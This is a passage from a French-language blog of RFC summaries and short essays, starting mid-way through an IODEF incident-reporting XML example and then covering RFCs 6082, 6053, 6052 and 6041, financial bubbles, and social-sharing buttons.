    <iodef:StartTime>2004-02-02T22:19:24+00:00</iodef:StartTime>
...
      <iodef:Expectation severity="high" action="rate-limit-host">
        <iodef:Description>
          Rate limit traffic close to source
        </iodef:Description>
      </iodef:Expectation>
      <iodef:Record>
        <iodef:RecordData>
          <iodef:Description>
            The IPv4 packet included was used in the described attack
          </iodef:Description>
          <iodef:RecordItem dtype="ipv4-packet">450000522ad9
          0000ff06c41fc0a801020a010102976d0050103e020810d9
          4a1350021000ad6700005468616e6b20796f7520666f7220
          6361726566756c6c792072656164696e6720746869732052
          46432e0a
          </iodef:RecordItem>
        </iodef:RecordData>
      </iodef:Record>
    </iodef:EventData>
    <iodef:History>
      <iodef:HistoryItem>
        <iodef:DateTime>2004-02-02T22:53:01+00:00</iodef:DateTime>
        <iodef:IncidentID name="CSIRT-FOR-OUR-DOMAIN">
          CSIRT-FOR-OUR-DOMAIN#207-1
        </iodef:IncidentID>
        <iodef:Description>
          Notification sent to next upstream NP closer to 192.0.2.35
        </iodef:Description>
      </iodef:HistoryItem>
      <iodef:HistoryItem action="rate-limit-host">
        <iodef:DateTime>2004-02-02T23:07:21+00:00</iodef:DateTime>
        <iodef:IncidentID name="CSIRT-FOR-NP3">
          CSIRT-FOR-NP3#3291-1
        </iodef:IncidentID>
        <iodef:Description>
          Host rate limited for 24 hours
        </iodef:Description>
      </iodef:HistoryItem>
    </iodef:History>
  </iodef:Incident>
</iodef:IODEF-Document>

L'entiéreté du schéma XML, en xsd, figure en section 5.

Comme déjà noté, l'utilisation de ces messages RID ne va pas sans risques. La section 6 les analyse. D'abord, il faut évidemment un canal sécurisé pour les transmettre. Sécurisé au sens de :

  • Confidentiel, puisque les informations RID peuvent être très sensibles,
  • Fiable (disponible), puisque l'attaque rendra peut-être inutilisable les canaux normaux,
  • Authentifié, parce que ceux à qui on demande d'agir sur la base de messages RID voudront savoir à qui ils ont affaire.

Un canal physique dédié faciliterait l'obtention de ces propriétés mais n'est pas forcément réaliste. Le RFC recommande donc plutôt un tunnel chiffré. En combinant TLS sur le tunnel et les signatures XML du RFC 3275 sur le message, on atteint la sécurité désirée. Le protocole exact utilisé est normalisé dans un autre document, le RFC 6046. Bien qu'il utilise le chiffrement, RID ne repose pas uniquement sur la sécurité du canal et permet de chiffrer aussi le message par le chiffrement XML.

RID soulève aussi des questions liées à la protection de la vie privée et la section 6.6 les étudie. RID fournit le moyen de spécifier des détails comme l'extension du « domaine de confiance » à qui on peut envoyer les informations (élément PolicyRegion, section 4.3.3.3).


Téléchargez le RFC 6045


L'article seul

RFC 6082: Deprecating Unicode Language Tag Characters: RFC 2482 is Historic

Date de publication du RFC : Novembre 2010
Auteur(s) du RFC : K. Whistler (Sybase), G. Adams (Skynav), M. Duerst (Aoyama Gakuin University), R. Presuhn, J. Klensin
Pour information
Première rédaction de cet article le 8 novembre 2010


Parfois, il y a des mauvaises idées. Parfois, elles sont même inscrites dans un RFC et sont alors utilisées. Lorsqu'une idée est reconnue comme mauvaise, il faut alors savoir l'abandonner. C'est ce que fait ce RFC 6082 qui abandonne officiellement l'idée du RFC 2482 qui fournissait un mécanisme d'indication de la langue utilisée, dans un texte brut en Unicode.

Le RFC 2482 réservait plusieurs caractères Unicode entre U+E0000 et U+E007F à des fins d'étiquetage, pour indiquer la langue utilisée pour écrire un texte. Par exemple, U+E0001 U+E006A U+E0061 (caractère language tag, puis caractère tag letter j puis enfin tag letter a) indiquait un texte en japonais (ja étant le japonais pour les étiquettes de langue). Il n'a pas été tellement utilisé en pratique et, aujourd'hui, a été remplacé par des mécanismes d'étiquetage globaux (comme l'en-tête Content-Language: du RFC 3282) pour le texte brut ou bien par des mécanismes plus fins pour les documents structurés (par exemple l'attribut xml:lang pour les textes en XML). Le consortium Unicode a officiellement abandonné ce mécanisme (section 16.9 de la norme Unicode 5.2) et notre RFC 6082 a été fait pour éviter que des implémenteurs tombent sur le RFC 2482 et ne le mettent en œuvre en le croyant toujours d'actualité.

Fin du parcours, donc, pour le RFC 2482, qui entre ainsi dans la catégorie « Intérêt historique uniquement » (catégorie décrite dans la section 4.2.4 du RFC 2026).


Téléchargez le RFC 6082


L'article seul

RFC 6053: Implementation Report for ForCES

Date de publication du RFC : Novembre 2010
Auteur(s) du RFC : E. Haleplidis (University of Patras), K. Ogawa (NTT Corporation), W. Wang (Zhejiang Gongshang University), J. Hadi Salim (Mojatatu Networks)
Pour information
Réalisé dans le cadre du groupe de travail IETF forces
Première rédaction de cet article le 8 novembre 2010


C'est bien joli de spécifier des protocoles réseau, encore faut-il qu'ils soient implémentés. Une des raisons pour lesquels les protocoles de la famille TCP/IP ont battu à plate couture les protocoles ISO, pourtant soutenus par divers moyens bureaucratiques, est l'accent mis sur la disponibilité de programmes mettant en œuvre les spécifications, les RFC. Ces programmes permettent de vérifier que la norme est implémentable (contrairement à beaucoup de normes qui sont restés sur le papier car irréalistes) et que les différentes implémentations interopèrent. Ce RFC 6053 est le rapport décrivant trois mises en œuvre du protocole ForCES (Forwarding and Control Element Separation, un protocole de communication à l'intérieur d'un routeur, entre ses divers éléments). Il suit donc les règles et principes du RFC sur les rapports d'implémentation, le RFC 5657.

Un petit rappel d'abord. ForCES (Forwarding and Control Element Separation), normalisé dans le RFC 5810, définit un modèle (RFC 3746) où le routeur est composé de CE (Control Element) qui pilotent des FE (Forwarding Element). Les CE parlent les protocoles de routage comme OSPF, les FE font la transmission des paquets. Entre CE et FE, les messages ForCES peuvent être transmis par plusieurs protocoles, le plus utilisé (car le seul qui soit obligatoire) étant SCTP-TML (SCTP-based Transport Mapping Layer) normalisé dans le RFC 5811 et fondé sur SCTP. (Voir la section 2 pour des rappels plus complets.)

Place aux tests, maintenant. Trois mises en œuvre indépendantes ont été testées (section 3) : celle de NTT, celle de l'université de Patras, et celle de l'université de Zhejiang Gongshang (aucune des trois n'est distribuée publiquement pour l'instant). Les tests ont été globalement couronnés de succès, la plupart des bogues ont été corrigées immédiatement, les manques ayant été identifiés et les programmeurs ayant promis qu'ils les combleraient bientôt. Le test d'interopérabilité a été fait en juillet 2009. Les chinois n'étaient pas présents physiquement sur le lieu du test, ce qui a été l'occasion de tester ForCES sur une longue distance, et à travers le NAT. Outre les trois implémentations citées, le test mettait en jeu des modifications locales de deux analyseurs réseaux répandus, Wireshark et tcpdump. (Le travail sur Wireshark a été publié dans « Method and implementation of building ForCES protocol dissector based on wireshark » par Feng Luo, Ligang Dong et Fenggen Jia, à la conférence Information Management and Engineering (ICIME), 2010. Le patch se trouve dans la bogue #3534. Quant à tcpdump, la gestion de ForCES a été intégrée à partir de la 4.1.1. Vous pouvez voir des exemples en ligne.)

Comment se fait un tel test d'interopérabilité ? La section 4 résume la méthodologie suivie. Les développeurs ont d'abord rempli un questionnaire où ils devaient indiquer quelle étaient les fonctions de ForCES que leur programme gérait. Les différents programmes ont ensuite été mis l'un en face =de l'autre dans le labo et ont échangé des messages. Le bon fonctionnemement a été vérifié à la fois par les réactions des programmes et par l'examen des sniffers. Quelques raccourcis ont été pris (section 5). Par exemple, bien qu'IPsec soit obligatoire pour SCTP-TML, il n'a pas été testé, en considérant qu'IPsec était un protocole suffisamment mûr pour qu'on puisse se dispenser de le tester.

La section 6 donne tous les détails des tests, des messages testés, et de leurs résultats. Par exemple, un des tests était d'activer le heartbeat (l'envoi de messages réguliers, permettant de vérifier que le système fonctionne toujours) sur un FE (section 6.1.2.6), puis de changer l'intervalle d'émission des battements.

On l'a dit, le test a été globalement réussi. Mais il y a eu quelques petits problèmes, listés dans la section 6.2.3. Par exemple, une ambiguité est apparue dans la section 4.2.1.2 du RFC 5811 (qui n'était pas encore publié au moment du test, et qui a finalement été publié en corrigeant l'ambiguité) quant au niveau de priorité à donner à une réponse lorsque la question n'avait pas le niveau de priorité standard. Il y avait aussi de franches bogues, comme le FE et le CE attendant tous les deux une action et se bloquant mutuellement ou bien comme un mauvais calcul du champ « longueur » des messages (qui ne doit pas inclure les bits de remplissage). Il y avait aussi des problèmes qui n'étaient de la faute, ni de la norme, ni du programme mais qui reflétaient des limites de ForCES (comme la détection trop lente, dans certains cas, des coupures de la liaison entre CE et FE : SCTP-TML n'est pas forcé de réagir en temps réel à une telle coupure).

Deux autres RFC sur la mise en œuvre de ForCES sont le RFC 6369 et le RFC 6984, ce dernier rendant compte d'un test d'interopérabilité équivalent, mais plus récent.


Téléchargez le RFC 6053


L'article seul

Des bulles et de la crédulité

Première rédaction de cet article le 3 novembre 2010


Vous vous souvenez de la grande bulle de l'Internet en 1999-2001, lorsque des prédictions délirantes amenaient des milliers d'investisseurs à injecter plein d'argent dans le réseau que tous les costards-cravate sérieux méprisaient seulement quelques années auparavant ? Dans un article très détaillé et très érudit, « Bubbles, gullibility, and other challenges for economics, psychology, sociology, and information sciences> », Andrew Odlyzko revient sur cette bulle, sur celles qui l'ont précédé et celles qui l'ont suivie.

Odlyzko étudie surtout trois bulles, celle des chemins de fer britanniques vers 1845, celle de l'Internet en 1999-2000, et celle des subprimes qui s'est écroulée en 2008. À chaque fois, on retrouve les mêmes ingrédients notamment une formidable crédulité et une incapacité, chez des gens qui ont tous fait Harvard ou Polytechnique, à faire des maths élémentaires, par exemple des calculs d'intérêts composés (certaines prévisions faites pendant la bulle de l'Internet menaient en peu de temps à ce qu'il y ait davantage d'utilisateurs de l'Internet que d'habitants sur Terre). Ainsi, le mathématicien John Paulos, l'auteur de Innumeracy: Mathematical Illiteracy and its Consequences a lui même perdu beaucoup d'argent dans la bulle de l'Internet, pourtant basée sur des mathématiques ridicules.

L'auteur en déduit qu'on peut même tenter de définir un « indice de crédulité », dont la mesure permettrait d'indiquer qu'on se trouve dans une bulle et qu'il faut donc se méfier. D'autant plus que les personnes précisement chargées de veiller et de donner l'alarme sont les premières à lever les bras avec fatalisme et à dire que les bulles sont indétectables. L'article cite de nombreuses déclarations d'Alan Greenspan en ce sens ; quoique responsable de la surveillance monétaire, il affirme qu'on ne peut pas détecter les bulles mais n'en a pas pour autant déduit qu'il ne servait à rien et qu'il serait honnête de démissionner. Les journalistes n'ont pas fait mieux et tous reprenaient avec zéro sens critique les communiqués triomphants sur la croissance miraculeuse de l'Internet.

Odlyzko reprend donc tous les calculs, toutes les affirmations avancées pendant la bulle. Ce n'est pas facile car bien des rapports ultra-optimistes de l'époque ont complètement disparu des sites Web des entreprises concernées. Ainsi, UUNET présentait publiquement, pour encourager les investisseurs, des chiffres (par exemple sur la capacité de son épine dorsale) qui étaient en contradiction avec ses propres documents officiels enregistrés à la SEC. UUnet mentait sur ses capacités antérieures, pour que l'augmentation soit plus spectaculaire. Cette partie d'analyse a posteriori de la propagande pro-bulle est certainement la plus intéressante de l'article. Il faut la garder en mémoire à chaque fois qu'on voit un monsieur sérieux faire des prévisions appuyées sur du PowerPoint. Avec le recul, c'est consternant d'imbécillité, le terme « crédulité » parait bien indulgent, puisque tout le monde pouvait vérifier les documents SEC et refaire les calculs (qui étaient trivialement faux). Et pourtant, non seulement cela a eu lieu, mais cela a recommencé quelques années après avec les subprimes. D'autres embrouilles étaient utilisées pour tromper les investisseurs (victimes très consentantes, puisque la vérification aurait été facile), comme de confondre la capacité du réseau et le trafic effectif.

Les escroqueries comme celle de WorldCom ou d'Enron ne sont pas une nouveauté. Vu l'absence totale de sens critique avec lequel sont accueillies les bulles, on peut même se demander, et c'est ce que fait Odlyzko, s'il n'y a pas une raison plus profonde à la crédulité. Par exemple, les empereurs romains, pour tenir le peuple, lui fournissaient « du pain et des jeux ». Aujourd'hui, peu de gens dans les pays riches ont faim et les jeux sont peut-être devenus plus importants que le pain. Les bulles ne sont-elles pas simplement un spectacle ? Ou bien ont-elle une utilité réelle, par exemple pour convaincre les investisseurs de faire des dépenses lourdes et qui ne rapporteront rien ? Ainsi, la bulle des chemins de fer britanniques vers 1845 a ruiné des investisseurs crédules comme les sœurs Brontë, Charles Darwin ou comme le pédant économiste John Stuart Mill (qui, comme tous les économistes, pontifiait dans le vide sur les beautés du capitalisme, mais ne savait pas reconnaître une bulle) mais elle a aussi permis à la Grande-Bretagne d'avoir un formidable réseau ferré sur lequel son économie a pu s'appuyer. Finalement, les bulles servent peut-être à quelque chose ?

Pour prolonger la réflexion, un intéressant article de Paul Graham sur ce même sujet.


L'article seul

Mettre ou ne pas mettre des boutons de partage ?

Première rédaction de cet article le 1 novembre 2010


Des tas de sites Web ont désormais des petits boutons de partage des adresses avec ses connaissances, via les fameux « réseaux sociaux ». Lorsqu'on lit un article, on est donc souvent sollicité pour « partager cet article avec tes potes sur Facebook » ou « twitter ça tout de suite à tes suiveurs ». Comme j'ai eu des demandes de lecteurs de ce blog, je m'interroge : dois-je ajouter de tels boutons dans le bandeau bleu clair à gauche ?

Regarder le journal de mon blog permet de voir beaucoup de gens qui viennent via Facebook ou Twitter. Il est donc a priori intéressant de leur faciliter la tâche. Certes, ils peuvent aussi copier/coller l'adresse (avec Facebook, il n'est même pas nécessaire de copier/coller le titre, cela se fait tout seul quand on passe par le menu Links). Ils peuvent aussi se servir de fonctions de leur navigateur comme l'excellente extension ShareAholic de Firefox (ou celle de Mozilla Labs, F1). Mais ne serait-ce pas mieux de les aider ? Ou bien est-ce que cela fait trop blaireau, trop « le type qui a absolument besoin d'avoir du trafic sur son blog » ? En attendant une réponse à cette question philosophique, voyons les outils techniques disponibles. J'ai aussi créé une page Web pour les tester. En effet, beaucoup de moteurs de blog existants (par exemple WordPress avec, entre autre, Sociable) ont tout ce qu'il faut pour ajouter simplement de tels boutons. Mais, mon blog étant fait d'une manière spéciale, je dois développer un peu plus.

Pour Facebook, il existe une documentation officielle. Elle était fort simple, indiquant juste le petit bout de code HTML à placer (ce que j'ai fait dans ma page de test) mais a récemment été remplacée par une méthode bien plus complexe.

Twitter a aussi une méthode officielle. Mais on peut aussi mettre un simple lien fait à la main.

Pour identi.ca, je ne trouve pas de documentation standard. On peut s'en tirer en appelant index.php?action=newnotice comme documenté dans http://www.nuxified.org/blog/add-identica-button ou http://apachelog.wordpress.com/2010/10/01/identi-ca-and-wordpress-com-sharing-service/. Mais cela oblige à indiquer le titre et l'URL de la page, identi.ca ne le trouve pas seul. Bon, comme les pages HTML de mon blog sont générées automatiquement, cela ne devrait pas être trop dur à faire.

LinkedIn a aussi une documentation officielle et, comme avec identi.ca, il faut générer un bouton qui inclut le titre et l'adresse.

Enfin, le dernier que j'ai cherché sérieusement était del.icio.us, qui indique comment faire. L'utilisation de JavaScript dans le bouton officiel permet de récupérer facilement le titre et l'URL (ce dernier aurait pu être obtenu par le serveur dans le champ Referer:, cf. RFC 7231, section 5.5.2, mais le navigateur ne l'envoie pas forcément).

Par contre, je n'ai pas trouvé de solution pour l'IRC :-) Si on veut prévenir les abonnés de son canal favori, il faut le faire à la main, en copier/coller.

On le voit, se tenir au courant de tous les réseaux sociaux existants et de leurs méthodes de partage devient vite un travail à temps plein. Il existe donc un marché pour des solutions qui servent d'intermédiaire, en proposant un bouton qui donne accès à tous les réseaux sociaux mais attention : cela se fait au détriment de la vie privée. Si vous utilisez, un de ces services d'intermédiation pour partager votre site sur Facebook, vos lecteurs qui cliqueront donneront non seulement des données à Facebook (ce à quoi ils pouvaient s'attendre) mais également au service d'intermédiation. (Voir les recommandations de la CNIL.)

Sur la page Web de test, je n'ai montré qu'un seul de ces services, AddThis mais il en existe beaucoup d'autres, basé sur le même principe et ayant les mêmes défauts (http://www.addtoany.com/, http://www.sociofluid.com/, http://onlywire.com/thebutton, etc).

Bref, bouton Partage ou pas bouton Partage, voici la question. La plupart des lecteurs actuels de mon blog semblant très hostiles, je pense que cela ne va pas se faire de si tôt.


L'article seul

RFC 6052: IPv6 Addressing of IPv4/IPv6 Translators

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : C. Bao (CERNET Center/Tsinghua University), C. Huitema (Microsoft), M. Bagnulo (UC3M), M. Boucadair (France Telecom), X. Li (CERNET Center/Tsinghua University)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF behave
Première rédaction de cet article le 1 novembre 2010


Il existe plusieurs mécanismes pour assurer la co-existence entre les protocoles IPv4 et IPv6. Ce RFC ne normalise pas un nouveau mécanisme mais spécifie les formats d'adresse à utiliser pour les traducteurs IPv4<->IPv6, les logiciels qui vont convertir d'un format dans l'autre. Il est donc le socle des résultats de la nouvelle version du groupe de travail IETF Behave qui, depuis l'échec de NAT-PT, essaie de normaliser une technique de traduction d'adresses permettant d'assurer la coexistence dans certains cas.

Le RFC du groupe Behave qui décrit le cadre général de cette traduction (Framework for IPv4/IPv6 Translation) est le RFC 6144. Empruntons-lui quelques exemples. Supposons par exemple un réseau purement IPv6 (hypothèse réaliste à l'heure où il ne reste plus que quelques mois d'adresses v4) et qui veut parler aux serveurs Web existants qui n'ont que v4. Un des mécanismes possibles est la traduction d'adresses. Supposons que le site Web convoité soit en 198.51.100.129. La machine purement v6 interroge un serveur DNS 64 (protocole pas encore normalisé) qui lui répond « Va voir en 64:ff9b::c633:6481 » (c633:6481 == 198.51.100.129). Elle émet alors un paquet IPv6 vers cette adresse. Sur le trajet, un traducteur d'adresses va prendre ce paquet, le traduire en v4 algorithmiquement et, lorsque la réponse reviendra, il la traduira en v6, l'envoyant à la machine cliente. Voici un exemple où une machine purement IPv6 tente de contacter Twitter, service purement IPv4 :

% telnet twitter.com 80
Trying 64:ff9b::80f2:f0f4...
Connected to twitter.com.
Escape character is '^]'.

Bien sûr, cette présentation est très sommaire mais c'est parce que le travail de spécification n'est pas encore terminé. La première étape de cette spécification est de décider des adresses utilisées et c'est ce que fait notre RFC. (Il pourrait d'ailleurs, dans le futur, être utilisé par des techniques autre que la traduction, comme l'encapsulation, cf. section 1.1.)

Un peu de vocabulaire, d'abord (section 1.3) :

  • Un traducteur d'adresse est tout dispositif qui va tripoter des adresses, qu'il ait accès aux paquets (dans ce cas, on peut l'appeler « traducteur v4/v6 » ou « traducteur IP ») ou pas (cas d'un serveur DNS 64).
  • IPv4-embedded IPv6 address, une adresse IPv6 qui contient une adresse IPv4 (comme dans l'exemple 64:ff9b::c633:6481 plus haut).
  • IPv4-converted IPv6 address, un cas particulier des précédentes,
  • IPv4-translatable IPv6 address, un autre cas particulier des IPv4-embedded IPv6 address, où l'adresse IPv6 est globalement unique et peut donc être routée dans le grand Internet.

Les traductions peuvent être sans état (stateless) ou bien avec état (stateful). Dans le premier cas, le traducteur n'a aucune mémoire. Chaque paquet est traité isolément, comme si le traducteur venait juste de démarrer. Cela permet donc de traiter une bien plus grande quantité de paquets et assure les meilleures performances et, surtout, le passage à l'échelle. Dans le second cas, celui de la traduction avec état, la traduction dépend des paquets précédents, par exemple parce que le traducteur se souvient que les paquets venant de tel port sont destinés à telle adresse. Nécessitant une table des correspondances en mémoire, la traduction avec état passe moins à l'échelle. Mais, dans certains cas, elle est la seule réaliste, puisqu'on ne peut pas stocker toutes les informations dans une seule adresse, surtout si elle est IPv4.

Armé de ces définitions, quels sont les formats d'adresses IPv4-embedded possibles ? La section 2 les liste. D'abord, un préfixe spécial a été réservé à l'IANA (cf. section 6) pour certaines de ces adresses : 64:ff9b::/96 (section 2.1). Lorsque vous verrez passer une adresse IPv6 commençant par ce préfixe, vous pouvez être sûr de voir une adresse IPv4 embarquée.

Ensuite, toutes les adresses IPv6 IPv4-embedded, qu'elles utilisent ce préfixe ou pas, suivent le même format (section 2.2) : un préfixe (64:ff9b::/96 ou bien un préfixe tiré de l'espace d'adressage de l'opérateur), l'adresse IPv4, un suffixe (parfois nul). Pour respecter la section 2.5.1 du RFC 4291, un octet nul est parfois ajouté au milieu de l'adresse IPv4. Six longueurs de préfixe sont acceptées, 32, 40, 48, 56, 64, ou 96 (cette dernière est celle qui est typiquement utilisée avec le préfixe 64:ff9b::/96). Les sections 3.3 et 3.4 expliquent quelle longueur choisir selon les cas.

Si on utilise un préfixe de longueur 48, comme l'octet qui va des bits 64 à 71 inclus doit être nul, l'adresse IPv4 est en deux parties. On a donc d'abord le préfixe IPv6, les deux premiers octets de l'adresse IPv4, un octet nul, le reste de l'adresse IPv4 et un suffixe de cinq octets. Avec un préfixe de longueur 96, tout est plus simple, le prefixe occupe les douze premiers octets, l'adresse IPv4 prend le reste (et le suffixe est absent). Le tableau 1 dans la section 2.2 résume les autres possibilités.

Une fois ce format défini, la section 2.3 décrit le (très simple) algorithme qui permet de passer d'une adresse IPv4 à une adresse IPv6 et réciproquement.

Petite question de présentation : comment afficher les adresses IPv6 IPv4-embedded ? Bien sûr en obéissant au RFC 4291 (section 2.2) et au RFC 5952. Comme le RFC 4291 permet de représenter les quatre derniers octets (et uniquement ceux-ci) sous la forme d'une adresse IPv4, l'adresse 64:ff9b::c633:6481, citée plus haut, aurait aussi pu s'écrire 64:ff9b::198.51.100.129, ce qui est certainement plus lisible.

Ensuite, comment utiliser ces adresses sur un vrai réseau ? La section 3 couvre les questions de déploiement. D'abord, le préfixe 64:ff9b::/96 ne doit être utilisé qu'avec des adresses IPv4 globalement uniques (donc, par exemple, pas avec celles du RFC 1918). Moins évident, il ne doit pas non plus être utilisé pour construire des adresses IPv6 IPv4-translatable, celles-ci devant être globalement uniques. Si tout le monde est libre de se servir de ce préfixe 64:ff9b::/96, on ne peut pas compter qu'on recevra les paquets qui lui sont adressés depuis un point quelconque de l'Internet. Son usage normal est limité à l'intérieur d'un réseau (section 3.1), autrement, il faut se servir de préfixes spécifiques d'un opérateur.

Pendant qu'on parle de ce préfixe, il faut noter que les opérateurs qui s'en servent peuvent l'annoncer dans leurs tables de routage et qu'il apparaîtra donc sur l'Internet, par exemple si un opérateur décide de fournir un service de traduction d'adresses à un autre. Mais une telle annonce devrait normalement être contrôlée (section 3.2) et ne pas être transmise à toute la DFZ. Et, normalement, ceux qui annoncent ce préfixe en BGP doivent logiquement fournir un service de traduction ensuite (ou bien ils créent un trou noir).

Quel préfixe choisir pour ses services de traduction ? La section 3.3 donne quelques conseils. Par exemple, la « meilleure » longueur est sans doute 32, car, une fois l'adresse IPv4 ajoutée, la totalité de l'information se trouve dans les bits « de routage » (les 64 premiers). Pour le routage, c'est donc la meilleure solution mais obtenir de son RIR un /32 entier uniquement pour le service de traduction d'adresses peut être dificile. Des préfixes plus longs sont donc plus raisonnables. Le RFC suggère par exemple qu'un opérateur qui a un /32 en tout consacre un /40 au service de traduction (moins de 0,5 % de son espace d'adressage). S'il s'agit d'un simple client et pas d'un opérateur, et qu'il a un /48, un /56 conviendra pour le service de traduction. Mais la valeur exacte dépend aussi du scénario de coexistence considéré.

En cas de traduction avec état (section 3.4), les choix peuvent être différents et le préfixe 64:ff9b::/96 est souvent la solution la plus intéressante.

Un des intérêts de ce RFC est la section 4, qui explique les raisons des choix faits. Ainsi, le suffixe, pour les formats où il y en avait un, aurait pu être utilisé pour stocker de l'information sur les ports (section 4.1). Cela aurait augmenté les chances de pouvoir faire une traduction sans état. Cette option n'a pas été retenue dans l'immédiat mais pourrait être ajoutée plus tard. En attendant, le suffixe a obligatoirement tous ses bits à zéro ce qui, pour le format avec préfixe /32, mène à un identificateur d'interface (les 64 derniers bits d'une adresse IPv6) entièrement nul. C'est normalement interdit (section 2.6.1 du RFC 4291) mais notre RFC explique que c'est acceptable dans le contexte limité de la traduction d'adresse.

Le choix de la valeur 64:ff9b::/96 pour le préfixe de référence est expliqué en section 4.2. D'abord, le préfixe existant pour les adresses IPv4, ::ffff:0:0/96 (section 2.5.5.2 du RFC 4291), aurait pu être réutilisé (c'était prévu dans la section 2.1 du RFC 2765). Cela aurait simplifié l'effort de normalisation. Le problème est que, justement, ce préfixe est déjà connu. Plusieurs mises en œuvre d'IPv6 le traitent à part (par exemple, Windows génère systématiquement des paquets IPv4 lorsqu'on lui présente ces adresses IPv6).

Il fallait donc allouer un nouveau préfixe. Un /32 aurait permis d'avoir tous les bits significatifs dans les 64 premiers bits mais n'aurait pas permis d'utiliser la représentation texte avec une adresse IPv4 (qui n'est possible qu'à la fin d'une adresse v6). Finalement, un préfixe /96 a été choisi. Sa valeur 64:ff9b::/96 n'a pas été tirée au hasard : elle est neutre pour le calcul de la somme de contrôle. La somme de 64 et de ff9b est ffff, ce qui est équivalent à zéro en complément à un. (Depuis, un autre préfixe l'a rejoint, le 64:ff9b:1::/48 du RFC 8215.)

Ces systèmes de traduction d'adresse posent-ils des problèmes de sécurité ? Oui, dit la section 5 qui en expose certains. Par exemple, un paquet peut mentir sur son adresse IP source, qu'il y ait traduction ou pas. En fait, note la section 5.1, un traducteur IP est comme un routeur, il a les mêmes vulnérabilités et il peut mettre en œuvre les mêmes protections. Ainsi, lorsqu'il reçoit un paquet IPv6 incluant une adresse IPv4, il peut, avant traduction, s'assurer que la machine était autorisée à utiliser cette adresse IPv4 (si le paquet vient de l'intérieur d'un réseau, c'est relativement facile). D'autres tests sont possibles comme les vérifications du chemin de retour (cf. RFC 3704).

D'autre part, lorsqu'un pare-feu teste les adresses IPv4 (section 5.2), on pourrait imaginer un attaquant qui envoie des paquets IPv6 avec adresse v4 embarquée. Le paquet v6 ne serait pas arrêté par les filtres v4 mais, après traduction, le paquet v4 pourrait faire des dégâts. Il est donc crucial que le pare-feu vérifie les adresses v4 embarquées comme si elles étaient natives.


Téléchargez le RFC 6052


L'article seul

RFC 6041: ForCES Applicability Statement

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : A. Crouch, H. Khosravi (Intel), A. Doria (LTU), X. Wang (Huawei), K. Ogawa (NTT Corporation)
Pour information
Réalisé dans le cadre du groupe de travail IETF forces
Première rédaction de cet article le 30 octobre 2010


Le protocole ForCES (Forwarding and Control Element Separation), décrit dans le RFC 5810, normalise la communication entre les différents éléments d'un routeur, de façon à permettre la création d'un routeur par l'assemblage de composants venus de constructeurs différents. Ce RFC 6041 se focalise sur l'applicabilité de ForCES, à savoir dans quels cas ce protocole est applicable et ce qu'on peut exactement lui demander. Ce RFC peut donc servir d'introduction de haut niveau à ForCES.

ForCES considère un routeur comme composé d'un élément de contrôle, qui parle les protocoles de routage comme OSPF, c'est le CE (Control Engine), et d'un ou plusieurs éléments qui transmettent effectivement les paquets, les FE (Forwarding Engine). ForCES est le mécanisme par lequel le CE communique avec ses FE. Outre le protocole lui-même, dans le RFC 5810, ForCES a aussi un modèle de données (RFC 5812) et un protocole de transport (RFC 5811). Dans quels cas peut-on les employer et, inversement, quand sont-ils inapplicables ? La section 4 forme le cœur du RFC et c'est surtout elle qui est résumée ici.

D'abord, ForCES est prévu pour des routeurs assez gros pour que les fonctions de contrôle et de transmission soient séparées. Sur un engin bas de gamme, où tout tient dans le même circuit, ForCES n'est sans doute pas utile. Par contre, les routeurs du milieu et du haut de gamme ont déjà une séparation physique entre le mécanisme de contrôle et les mécanismes de traitement des interfaces réseaux. Comme ce CE et ces FE doivent communiquer (par exemple, si le CE apprend par OSPF qu'une route pour 192.0.2.192/26 passe par l'interface ge-0-1, il doit communiquer cette information au FE qui gère cette interface, mais aussi à tous les autres pour qu'ils lui transmettent ce trafic). Les routeurs ont donc tous un protocole de communication entre CE et FE mais il est toujours privé (un des rares qui soit documenté est le Netlink de Linux, dans le RFC 3549). Avec ForCES, se profile la possibilité d'un protocole standard pour les remplacer.

Quels services, dans cette communication entre FE et CE, peuvent être assurés par ForCES ? Notons bien (section 4.1) que ForCES ne traite pas de la découverte par le CE de ses FE, découverte qui doit être assurée autrement. En revanche, une fois celle-ci effectuée, ForCES pilote l'association entre CE et FE, et la transmission des informations comme, par exemple, le nombre de ports réseaux que gère le FE. Le CE peut ensuite configurer le FE (par exemple en lui indiquant les adresses IP locales, qui doivent être transmises au CE), comme indiqué en section 4.1.3.

Mais le principal service assuré par ForCES est évidemment l'envoi d'informations de routage (section 4.1.4). Un CE transmet à ses FE les adresses IP à router, de façon à ce que les paquets soient transmis à la bonne interface réseau.

La section 4.1 note de nombreux autres services. Citons-en juste un : l'envoi par le CE de règles de filtrage (quels paquets abandonner, et sur quels critères), en section 4.1.7.

De quoi a besoin ForCES pour rendre ces services, et qui n'est pas forcément présent sur tous les routeurs ? De capacité réseau (section 4.2). Entre le CE et le FE, la capacité n'est pas infinie et des opérations comme l'envoi d'une table de routage complète peuvent être non-triviales sur un réseau d'interconnexion lent, d'autant plus que ForCES se veut utilisable pour des futures tables de routage, plus grandes que celle d'aujourd'hui (fin octobre 2010, il y a 340 000 entrées dans la table de routage BGP globale).

Cette question de la capacité en amène une autre, celle de la localité. ForCES sépare logiquement le CE et le FE. Peuvent-ils aussi être séparés physiquement, et mis dans des boîtes différentes ? La section 4.3 examine la question. Le principe est que la disponibilité du routeur ne devrait pas être affectée par la séparation du contrôle et de la transmission. La connexion entre le FE et le CE est doit donc être un bus très fiable, ou en tout cas aussi fiable que le CE, de façon à partager son sort. En pratique, cela veut dire que ForCES est utilisable sans problème pour les NE (Network Element, typiquement un routeur) où tout tient dans une seule boîte, avec des lames différentes pour le CE et les FE, mais un seul châssis et une interconnexion en Ethernet, PCI, etc (le cas de la majorité des routeurs actuels). Une telle configuration simplifiera notamment les problèmes de sécurité (cf. section 5). Mais ForCES peut aussi marcher dans des cas où CE et FE sont situés dans des boîtiers séparés.

Pas de protocole réaliste sans possibilité de gestion. La section 6 détaille le comportement de ForCES face aux exigences de la gestion du réseau. Le point important est que, quel que soit le degré de séparation entre CE et FE, ForCES permet de voir le routeur comme un élément unique. Cela se réalise en faisant passer l'essentiel des fonctions de gestion à travers le CE. Notre RFC recommande ainsi que tous les messages SNMP soient transmis au CE (par exemple en utilisant les mécanismes du RFC 2741). Ceux qui vont quand même directement traités par les FE doivent, ou bien être en lecture seule, ou bien permettre une notification du CE, afin que celui-ci reste seul maître. ForCES dispose d'une MIB, décrite dans le RFC 5813, qui permet d'accéder à des informations comme les associations entre le CE et les FE.


Téléchargez le RFC 6041


L'article seul

